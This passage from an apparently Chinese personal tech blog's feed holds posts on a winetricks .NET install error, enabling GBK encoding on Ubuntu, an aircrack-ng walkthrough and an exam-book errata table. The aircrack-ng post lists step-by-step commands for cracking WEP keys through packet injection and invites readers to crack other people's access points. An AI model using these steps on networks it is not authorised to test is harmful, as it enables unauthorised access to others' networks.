    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">2.0</span><span>&nbsp;/f</span></span></li>
    <li><span>DELETE&nbsp;-&nbsp;HKLM\Software\Microsoft\.NETFramework\policy\v2.<span class="number">0</span><span>&nbsp;(null)&nbsp;</span><span class="number">0</span><span>&nbsp;</span><span class="number">0</span><span>&nbsp;</span><span class="number">1</span></span></li>
    <li class="alt"><span>Error:&nbsp;The&nbsp;system&nbsp;was&nbsp;unable&nbsp;to&nbsp;find&nbsp;the&nbsp;specified&nbsp;registry&nbsp;key&nbsp;<span class="keyword">or</span><span>&nbsp;value</span></span></li>
    <li><span>------------------------------------------------------</span></li>
    <li class="alt"><span>Note:&nbsp;command&nbsp;'wine&nbsp;reg&nbsp;delete&nbsp;HKLM\Software\Microsoft\.NETFramework\policy</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">2.0</span><span>&nbsp;/f'&nbsp;returned&nbsp;status&nbsp;</span><span class="number">1.</span><span>&nbsp;&nbsp;Aborting.</span></span></li>
    <li class="alt"><span>------------------------------------------------------</span></li>
</ol>
</div>
<div contenteditable="false" style="display: none;" class="python">
<pre>
------------------------------------------------------
Instaling .net 2.0 runtime.  Can take several minutes.  See http://wiki.winehq.org/MicrosoftDotNet for tips.
------------------------------------------------------
prerequisite gecko already installed, skipping
Setting Windows version to win2k
Executing early_wine regedit c:\winetrickstmp\set-winver.reg
Executing cp -f /home/xerxes/.cache/winetricks/dotnet20/l_intl.nls /home/xerxes/.wine/dosdevices/c:/windows/system32/
Executing wine reg delete HKLM\Software\Microsoft\.NETFramework\policy
                                                                      2.0 /f
DELETE - HKLM\Software\Microsoft\.NETFramework\policy\v2.0 (null) 0 0 1
Error: The system was unable to find the specified registry key or value
------------------------------------------------------
Note: command 'wine reg delete HKLM\Software\Microsoft\.NETFramework\policy
                                                                           2.0 /f' returned status 1.  Aborting.
------------------------------------------------------</pre>
</div>
<div contenteditable="false">
<link rel="stylesheet" type="text/css" href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" /></div>
</div>
<p>&nbsp;</p>
<p>在网上查了一下，基本上没有中文解答，好在发现了<a href="http://ubuntuforums.org/showthread.php?t=1568862">这个帖子</a>，原来好多人也一样的遇到了这个问题，大部分人都是无解状态，好在7#出现了个lusida大侠给出了解释&ldquo;The error was because winetricks never bother to check existence of two keys it tries to delete.&ldquo;（出现这个错误是因为winetricks没有检查将要删除的键值是否存在。）</p>
<p>解决方法是添加那两个winetricks需要删除的键值让其删除：</p>
<div contenteditable="false" class="HighLighter">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>wine&nbsp;reg&nbsp;add&nbsp;</span><span class="string">&quot;HKLM\Software\Microsoft\.NETFramework\policy\v2.0&quot;</span></span></li>
    <li><span>wine&nbsp;reg&nbsp;add&nbsp;<span class="string">&quot;HKLM\Software\Microsoft\.NETFramework&quot;</span><span>&nbsp;/v&nbsp;InstallRoot</span></span></li>
</ol>
</div>
<div contenteditable="false" style="display: none;" class="python">
<pre>
wine reg add &quot;HKLM\Software\Microsoft\.NETFramework\policy\v2.0&quot;
wine reg add &quot;HKLM\Software\Microsoft\.NETFramework&quot; /v InstallRoot</pre>
</div>
<div contenteditable="false">
<link rel="stylesheet" type="text/css" href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" /></div>
</div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>PS：还可以尝试下载<a href="http://www.microsoft.com/downloads/details.aspx?familyid=0856EACB-4362-4B0D-8EDD-AAB15C5E04F5&amp;displaylang=en">这个版本的dotnet</a>来安装，winetricks已经于几周前在SVN中修复了这个小错误</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/DeDeCMS_key">DeDeCMS关键字混乱的解决办法</a></p><p><a href="http://www.holmesian.org/TServe">修复远程桌面问题</a></p><p><a href="http://www.holmesian.org/PHP_IPF_SYSLOG">总结几个这几天解决的问题（与PHP、IPF、日志轮转相关）</a></p><p><a href="http://www.holmesian.org/NetworkManager-resolv_conf"> Ubuntu10.04的resolv.conf会重置的解决办法</a></p><p><a href="http://www.holmesian.org/ubuntu-questions">解决Ubuntu下若干问题。。。。</a></p><p><a href="http://www.holmesian.org/ESXi_MAC">ESXi虚拟机软路由服务中断问题</a></p></div>]]></description>
	<pubDate>Sat, 30 Oct 2010 04:16:16 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/wine-netFramework</guid>

</item>
<item>
	<title>让Ubuntu支持GBK编码</title>
	<link>http://www.holmesian.org/Ubuntu_GBK</link>
	<description><![CDATA[<p>Ubuntu默认对中文只支持UTF-8编码，可以通过一些修改让Ubuntu支持GBK编码。</p>
<p>首先用gedit /var/lib/locales/supported.d/local来修改 /var/lib/locales/supported.d/local文件，在文件中添加如下内容：</p>
<div contenteditable="false" class="HighLighter">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol class="dp-py" start="1">
    <li class="alt"><span><span>zh_CN.UTF-</span><span class="number">8</span><span> UTF-</span><span class="number">8</span></span></li>
    <li><span>en_US.UTF-<span class="number">8</span><span> UTF-</span><span class="number">8</span></span></li>
    <li class="alt"><span>zh_CN.GBK GBK</span></li>
    <li><span>zh_CN.GB2312 GB2312 </span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display: none;">
<pre>
zh_CN.UTF-8 UTF-8
en_US.UTF-8 UTF-8
zh_CN.GBK GBK
zh_CN.GB2312 GB2312 </pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>接着用sudo dpkg-reconfigure --force locales强制更新设置：</p>
<div contenteditable="false" class="HighLighter">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol class="dp-py" start="1">
    <li class="alt"><span><span>root@holmesian-laptop:~/arpoison</span><span class="comment"># gedit /var/lib/locales/supported.d/local</span></span></li>
    <li><span>root@holmesian-laptop:~/arpoison<span class="comment"># sudo dpkg-reconfigure --force locales</span></span></li>
    <li class="alt"><span>Generating locales...</span></li>
    <li><span>  en_AG.UTF-<span class="number">8.</span><span>.. up-to-date</span></span></li>
    <li class="alt"><span>  en_AU.UTF-<span class="number">8.</span><span>.. up-to-date</span></span></li>
    <li><span>  en_BW.UTF-<span class="number">8.</span><span>.. up-to-date</span></span></li>
    <li class="alt"><span>  en_CA.UTF-<span class="number">8.</span><span>.. up-to-date</span></span></li>
    <li><span>  en_DK.UTF-<span class="number">8.</span><span>.. up-to-date</span></span></li>
    <li class="alt"><span>  en_GB.UTF-<span class="number">8.</span><span>.. up-to-date</span></span></li>
    <li><span>  en_HK.UTF-<span class="number">8.</span><span>.. up-to-date</span></span></li>
    <li class="alt"><span>  en_IE.UTF-<span class="number">8.</span><span>.. up-to-date</span></span></li>
    <li><span>  en_IN.UTF-<span class="number">8.</span><span>.. up-to-date</span></span></li>
    <li class="alt"><span>  en_NG.UTF-<span class="number">8.</span><span>.. up-to-date</span></span></li>
    <li><span>  en_NZ.UTF-<span class="number">8.</span><span>.. up-to-date</span></span></li>
    <li class="alt"><span>  en_PH.UTF-<span class="number">8.</span><span>.. up-to-date</span></span></li>
    <li><span>  en_SG.UTF-<span class="number">8.</span><span>.. up-to-date</span></span></li>
    <li class="alt"><span>  en_US.UTF-<span class="number">8.</span><span>.. up-to-date</span></span></li>
    <li><span>  en_ZA.UTF-<span class="number">8.</span><span>.. up-to-date</span></span></li>
    <li class="alt"><span>  en_ZW.UTF-<span class="number">8.</span><span>.. up-to-date</span></span></li>
    <li><span>  zh_CN.GB2312... done</span></li>
    <li class="alt"><span>  zh_CN.GBK... done</span></li>
    <li><span>  zh_CN.UTF-<span class="number">8.</span><span>.. done</span></span></li>
    <li class="alt"><span>  zh_SG.UTF-<span class="number">8.</span><span>.. done</span></span></li>
    <li><span>Generation complete.</span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display: none;">
<pre>
root@holmesian-laptop:~/arpoison# gedit /var/lib/locales/supported.d/local
root@holmesian-laptop:~/arpoison# sudo dpkg-reconfigure --force locales
Generating locales...
  en_AG.UTF-8... up-to-date
  en_AU.UTF-8... up-to-date
  en_BW.UTF-8... up-to-date
  en_CA.UTF-8... up-to-date
  en_DK.UTF-8... up-to-date
  en_GB.UTF-8... up-to-date
  en_HK.UTF-8... up-to-date
  en_IE.UTF-8... up-to-date
  en_IN.UTF-8... up-to-date
  en_NG.UTF-8... up-to-date
  en_NZ.UTF-8... up-to-date
  en_PH.UTF-8... up-to-date
  en_SG.UTF-8... up-to-date
  en_US.UTF-8... up-to-date
  en_ZA.UTF-8... up-to-date
  en_ZW.UTF-8... up-to-date
  zh_CN.GB2312... done
  zh_CN.GBK... done
  zh_CN.UTF-8... done
  zh_SG.UTF-8... done
Generation complete.</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /> 至此操作完成，Ubuntu能够支持GBK编码了</div>
</div><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/NetworkManager-resolv_conf"> Ubuntu10.04的resolv.conf会重置的解决办法</a></p><p><a href="http://www.holmesian.org/ubuntu_rc-d">操作Ubuntu的启动服务项目rc.d</a></p><p><a href="http://www.holmesian.org/post/545">QCAD</a></p><p><a href="http://www.holmesian.org/post/487">Zenoss stack for ubuntu</a></p><p><a href="http://www.holmesian.org/ubuntu-compiz-desktop">Ubuntu使用compiz调整工作区数量</a></p><p><a href="http://www.holmesian.org/ubuntu-VirtualBox-upgrade">ubuntu升级后VirtualBox新问题</a></p></div>]]></description>
	<pubDate>Fri, 29 Oct 2010 13:09:29 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Ubuntu_GBK</guid>

</item>
<item>
	<title>Ubuntu下使用aircrack-ng</title>
	<link>http://www.holmesian.org/ubuntu-aircrack-ng</link>
	<description><![CDATA[<p>存档备忘</p>
<p></p>
<p>1、启动无线网卡的监控模式，在终端中输入：sudo airmon-ng start wlan0<br />
（wlan0是无线网卡的端口,可在终端中输入 ifconfig 查看）<br />
<br />
2、查看无线AP在终端中输入：<br />
sudo airodump-ng mon0<br />
（特别说明：启动监控模式后无线网的端口现在是 mon0 ！！！）<br />
看看有哪些采用wep加密的AP在线，然后按 ctrl+c 退出，保留终端<br />
<br />
3、抓包<br />
另开一个终端，输入：<br />
sudo airodump-ng -c 6 --bssid AP's MAC -w wep mon0<br />
(-c  后面跟着的6是要破解的AP工作频道，--bissid后面跟着的AP's  MAC是要欲破解AP的MAC地址，-w后面跟着wep的是抓下来的数据包DATA保存的文件名，具体情况根据步骤2里面的在线AP更改频道和MAC地 址，DATA保存的文件名可随便命名）<br />
<br />
4、与AP建立虚拟连接<br />
再另开一个终端，输入：<br />
sudo aireplay-ng -1 0 -a AP's MAC -h My MAC mon0<br />
（-h后面跟着的My MAC是自己的无线网卡的MAC地址，命令：<br />
iwlist wlan0 scanning<br />
可查看自己的MAC地址)<br />
<br />
5、进行注入<br />
成功建立虚拟连接后输入：<br />
sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b AP's MAC -h My MAC mon0<br />
现在回头看下步骤3的终端是不是DATA在开始飞涨！<br />
<br />
6、解密<br />
收集有5000个以上的DATA之后，另开一个终端，输入：<br />
sudo aircrack-ng wep*.cap<br />
进行解密<br />
（如果没算出来的话，继续等，aircrack-ng 会在DATA每增加多5000个之后就自动再运行，直到算出密码为至）<br />
<br />
7、收工<br />
破 解出密码后在终端中输入 sudo airomon-ng stop mon0  关闭监控模式，不然无线网卡会一直向刚刚的AP进行注入的，用ctrl+c退出或者直接关闭终端都是不行的。现在可以冲浪去了，或者重复步聚1-7破解其 它的AP 呵呵兄弟们冲浪时可别太猛了，不然把主人给冲翻了可就不好。</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/ubuntu_rc-d">操作Ubuntu的启动服务项目rc.d</a></p><p><a href="http://www.holmesian.org/MCleaner">关于信安易卫士在MOTO-Linux手机下接通音的思考</a></p><p><a href="http://www.holmesian.org/ubuntu-tips">Tips for Ubuntu</a></p><p><a href="http://www.holmesian.org/post/481">ubuntu服务详解</a></p><p><a href="http://www.holmesian.org/FreeBSD-Linux-mv">Unix和Linux下的改名命令-mv</a></p><p><a href="http://www.holmesian.org/Linux_PPS">非Windows下的P2P视频点播-强烈推荐</a></p></div>]]></description>
	<pubDate>Thu, 28 Oct 2010 05:50:13 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/ubuntu-aircrack-ng</guid>

</item>
<item>
	<title>2011版序列一和序列二勘误表</title>
	<link>http://www.holmesian.org/no1_no2_error</link>
	<description><![CDATA[<p>正在进行2011年考研备考的TX如果使用了任汝芬的序列一和序列二的请参考&hellip;&hellip;</p>
<p>&nbsp;</p>
<p><span style="font-family: 'Times New Roman'; font-size: 12px; border-collapse: collapse;" class="Apple-style-span"><b style="font-size: 12px; margin-top: 0px;"><span lang="EN-US" style="font-size: 12px; margin-top: 0px; font-family: 宋体;">2011</span></b><b style="font-size: 12px; margin-top: 0px;"><span style="font-size: 12px; margin-top: 0px; font-family: 宋体;">版序列之一《要点精编》勘误表</span></b></span></p>
<p><span style="font-family: 'Times New Roman'; font-size: 12px;" class="Apple-style-span">
<table cellspacing="0" cellpadding="0" border="0" style="font-size: 12px; margin: auto auto auto 26.55pt; width: 478px; border-collapse: collapse; height: 652px;" class="MsoNormalTable">
    <tbody style="font-size: 12px; margin-top: 0px;">
        <tr style="font-size: 12px; margin-top: 0px; height: 19.2pt;">
            <td width="445" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 334pt; height: 19.2pt;" colspan="4">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span lang="EN-US" style="font-size: 10pt; margin-top: 0px; font-family: 宋体;">(</span><span style="font-size: 10pt; margin-top: 0px; font-family: 宋体;">截至<span lang="EN-US" style="font-size: 12px; margin-top: 0px;">2010.10.08)</span></span><span lang="EN-US" style="font-size: 10pt; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></p>
            </td>
            <td width="1" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216); padding: 0cm; background-color: transparent;">
            <p style="font-size: 12px; margin: 0cm 0cm 0pt;" class="MsoNormal"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"> </font></p>
            </td>
        </tr>
        <tr style="font-size: 12px; margin-top: 0px; height: 23.4pt;">
            <td width="3" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 2.1pt; height: 23.4pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span style="font-size: 12px; margin-top: 0px; font-family: 宋体;">页</span><span lang="EN-US" style="font-size: 12px; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></p>
            </td>
            <td width="36" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 27pt; height: 23.4pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span style="font-size: 12px; margin-top: 0px; font-family: 宋体;">行</span><span lang="EN-US" style="font-size: 12px; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></p>
            </td>
            <td width="72" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 54pt; height: 23.4pt;">
            <p align="center" style="font-size: 12px; margin: 0cm 0cm 0pt; text-align: center;" class="MsoNormal"><span style="font-size: 12px; margin-top: 0px; font-family: 宋体;">误</span><span lang="EN-US" style="font-size: 12px; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></p>
            </td>
            <td width="336" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 252pt; height: 23.4pt;" colspan="2">
            <p style="font-size: 12px; margin: 0cm 0cm 0pt; text-indent: 52.5pt;" class="MsoNormal"><span style="font-size: 12px; margin-top: 0px; font-family: 宋体;">正</span><span lang="EN-US" style="font-size: 12px; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></p>
            </td>
        </tr>
        <tr style="font-size: 12px; margin-top: 0px; height: 21pt;">
            <td width="3" valign="top" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216); padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 2.1pt; height: 21pt;">
            <p style="font-size: 12px; margin: 0cm 0cm 0pt;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">127<o:p style="font-size: 12px; margin-top: 0px;"></o:p></font></span></p>
            </td>
            <td width="36" valign="top" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216); padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 27pt; height: 21pt;">
            <p style="font-size: 12px; margin: 0cm 0cm 0pt;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">1</font></span><span lang="EN-US" style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">9</span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">～<span lang="EN-US" style="font-size: 12px; margin-top: 0px;">29</span></span><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></p>
            </td>
            <td width="72" valign="top" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216); padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 54pt; height: 21pt;">
            <p style="font-size: 12px; margin: 0cm 0cm 0pt;" class="MsoNormal"><span lang="EN-US" style="font-size: 12px; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"><span style="font-size: 12px; margin-top: 0px;"> </span><span style="font-size: 12px; margin-top: 0px;">  </span></font></span><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体; color: red;">这几行内容有误，请用右栏内的内容替换。</span><span style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;"><span lang="EN-US" style="font-size: 12px; margin-top: 0px; color: red;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></font></span></p>
            </td>
            <td width="336" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216); padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 252pt; height: 21pt;" colspan="2">
            <p style="font-size: 12px; margin: 0cm 0cm 0pt; line-height: 12pt; text-indent: 21.85pt;" class="MsoNormal"><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">共产主义理想一定会实现，是以人类社会发展规律以及资本主义社会的基本矛盾发展为依据的。<span lang="EN-US" style="font-size: 12px; margin-top: 0px;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></span></p>
            <div style="font-size: 12px; margin: 0cm 0cm 0pt; line-height: 12pt; text-indent: 21.85pt;" class="MsoNormal"><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">马克思主义不仅从社会形态交替规律上对共产主义理想实现的必然性作了一般性的历史观论证，</span></div>
            <div style="font-size: 12px; margin: 0cm 0cm 0pt; line-height: 12pt; text-indent: 21.85pt;" class="MsoNormal"><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">而且通过对资本主义社会的具体剖析，作了具体实证的证明。<span lang="EN-US" style="font-size: 12px; margin-top: 0px;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></span></div>
            <div style="font-size: 12px; margin: 0cm 0cm 0pt; line-height: 12pt; text-indent: 21.85pt;" class="MsoNormal"><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">马克思深入研究资本主义社会，特别是研究资本主义的经济运动，揭示了资本主义生产方式的特</span></div>
            <div style="font-size: 12px; margin: 0cm 0cm 0pt; line-height: 12pt; text-indent: 21.85pt;" class="MsoNormal"><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">点，论证了资本主义发展的自我否定的趋势；揭示了资本主义生产社会化与生产资料私人占有的基本</span></div>
            <div style="font-size: 12px; margin: 0cm 0cm 0pt; line-height: 12pt; text-indent: 21.85pt;" class="MsoNormal"><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">矛盾，论证了资本主义的历史暂时性；<span lang="EN-US" style="font-size: 12px; margin-top: 0px;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></span></div>
            <div style="font-size: 12px; margin: 0cm 0cm 0pt; line-height: 12pt; text-indent: 21.85pt;" class="MsoNormal"><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">揭示了资本主义剥削的秘密，证明了资本主义的非正义性，论证了工人阶级推翻旧世界建</span></div>
            <div style="font-size: 12px; margin: 0cm 0cm 0pt; line-height: 12pt; text-indent: 21.85pt;" class="MsoNormal"><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">设新世界的历史使命；揭示了工人阶级和资产阶级斗争的发展规律和趋势，论述了工人阶级解放斗争胜利的必然性。<span lang="EN-US" style="font-size: 12px; margin-top: 0px;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></span></div>
            <div style="font-size: 12px; margin: 0cm 0cm 0pt; line-height: 12pt; text-indent: 21.85pt;" class="MsoNormal"><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">社会主义运动的实践，特别是社会主义国家的兴起和不断发展，已经并正在用</span></div>
            <div style="font-size: 12px; margin: 0cm 0cm 0pt; line-height: 12pt; text-indent: 21.85pt;" class="MsoNormal"><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">事实证明着共产主义理想实现的必然性。从一定意义上讲，社会主义革命的胜利本身就是共产主义理想可以实现的证明。<span lang="EN-US" style="font-size: 12px; margin-top: 0px;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></span></div>
            <div style="font-size: 12px; margin: 0cm 0cm 0pt; line-height: 12pt; text-indent: 21.85pt;" class="MsoNormal"><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">当然这种证明还是不完全和尚未完成的，因为在革命胜利后建立起来的并不是共产主义</span></div>
            <div style="font-size: 12px; margin: 0cm 0cm 0pt; line-height: 12pt; text-indent: 21.85pt;" class="MsoNormal"><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">社会，而是社会主义社会。但是，现实中的社会主义是共产主义社会的初级阶段，<span lang="EN-US" style="font-size: 12px; margin-top: 0px;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></span></div>
            <p style="font-size: 12px; margin: 0cm 0cm 0pt; line-height: 12pt; text-indent: 21.85pt;" class="MsoNormal"><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">它与共产主义社会具有根本性质上的一致性。现实中的社会主义国家还在继续发展中，这种发展持续的时间越长，<span lang="EN-US" style="font-size: 12px; margin-top: 0px;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></span></p>
            <p style="font-size: 12px; margin: 0cm 0cm 0pt; line-height: 12pt; text-indent: 21.85pt;" class="MsoNormal"><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">取得的成就越大，就为共产主义高级阶段的到来提供着更多更有利的条件，也提供着更有力的实践证明。</span><span lang="EN-US" style="font-size: 12px; margin-top: 0px; font-family: 宋体;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></p>
            </td>
        </tr>
        <tr style="font-size: 12px; margin-top: 0px; height: 21pt;">
            <td width="3" valign="top" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 2.1pt; height: 21pt;">
            <p style="font-size: 12px; margin: 0cm 0cm 0pt;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">346<o:p style="font-size: 12px; margin-top: 0px;"></o:p></font></span></p>
            </td>
            <td width="36" valign="top" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 27pt; height: 21pt;">
            <p style="font-size: 12px; margin: 0cm 0cm 0pt;" class="MsoNormal"><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><font face="Times New Roman" style="font-size: 12px; margin-top: 0px;">17<o:p style="font-size: 12px; margin-top: 0px;"></o:p></font></span></p>
            </td>
            <td width="72" valign="top" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 54pt; height: 21pt;">
            <p style="font-size: 12px; margin: 0cm 0cm 0pt; line-height: 12pt;" class="MsoNormal"><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">这次历时一年半的先进性教育活动。</span><span lang="EN-US" style="font-size: 9pt; margin-top: 0px;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></p>
            </td>
            <td width="336" nowrap="" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216) rgb(236, 233, 216) windowtext; border-bottom: 1pt solid windowtext; padding: 0.55pt 0.55pt 0cm; background-color: transparent; width: 252pt; height: 21pt;" colspan="2">
            <p style="font-size: 12px; margin: 0cm 0cm 0pt; line-height: 12pt; text-indent: 21.85pt;" class="MsoNormal"><span style="font-size: 9pt; margin-top: 0px; font-family: 宋体;">删去此句。<span lang="EN-US" style="font-size: 12px; margin-top: 0px;"><o:p style="font-size: 12px; margin-top: 0px;"></o:p></span></span></p>
            </td>
        </tr>
        <tr height="0" style="font-size: 12px; margin-top: 0px;">
            <td width="19" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216); background-color: transparent;">&nbsp;</td>
            <td width="36" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216); background-color: transparent;">&nbsp;</td>
            <td width="72" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216); background-color: transparent;">&nbsp;</td>
            <td width="335" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216); background-color: transparent;">&nbsp;</td>
            <td width="1" style="font-size: 12px; margin-top: 0px; border-color: rgb(236, 233, 216); background-color: transparent;">&nbsp;</td>
        </tr>
    </tbody>
</table>
<p style="font-size: 12px; margin: 0cm 0cm 0pt;" class="MsoNormal">&nbsp;</p>
